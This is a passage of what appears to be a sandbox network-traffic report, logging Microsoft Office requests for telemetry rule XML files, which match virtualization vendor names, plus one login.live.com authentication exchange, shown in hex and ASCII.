2024-10-18 22:13:57 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.10	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:57 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 9ee74c80-201e-0033-35d8-1eb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221357Z-r197bdfb6b4kzncfk35mqx2yu40000000c1g00000000q9uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.10	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:57 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 17f473be-d01e-0014-03ce-1fed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221357Z-r197bdfb6b4t7wszdvrfk02ah400000000vg000000008sm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:57 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.10	49765	20.190.160.14	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-18 22:13:57 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-18 22:13:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 18 Oct 2024 22:12:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C512_BL2 x-ms-request-id: 65572bcc-cb21-45ac-9586-7f26886d2b86 PPServer: PPV: 30 H: BL02EPF0001D7BA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 18 Oct 2024 22:13:57 GMT Connection: close Content-Length: 11392
2024-10-18 22:13:58 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.10	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:58 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:58 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 746b139f-101e-00a2-24d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221358Z-16b659b44994sjcfes83c39y4000000009mg00000000a549 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:58 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.10	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:58 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:58 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 90caf802-701e-001e-1cd8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221358Z-15b8d89586fcvr6pym2snavm4w00000005s000000000g8tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:58 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.10	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:58 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:58 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: caad3713-c01e-0034-63d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221358Z-16b659b4499vb6rgub5604hgz00000000ah000000000stkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.10	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:58 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:58 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 6acd84c4-d01e-0066-15aa-20ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221358Z-15b8d89586f4zwgbz365q03b0c00000005q000000000kk1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:58 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.10	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:58 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:58 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:58 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cc65e471-501e-008c-15b8-20cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221358Z-15b8d89586f2hk2885zk3a4enc00000005k000000000n047 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:58 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.10	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9dcec3f4-001e-002b-5ad8-1e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221359Z-15b8d89586fdmfsgn8gw8tkkbc00000005n00000000049z5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.10	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 8dd076ce-301e-0000-26d8-1eeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221359Z-r197bdfb6b4kdv8k52pqueg7180000000ccg00000000gqde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.10	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:59 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:59 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:59 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad40b2af-901e-0064-67d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221359Z-r197bdfb6b49k6rshrw4zhxpu00000000c90000000001rmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
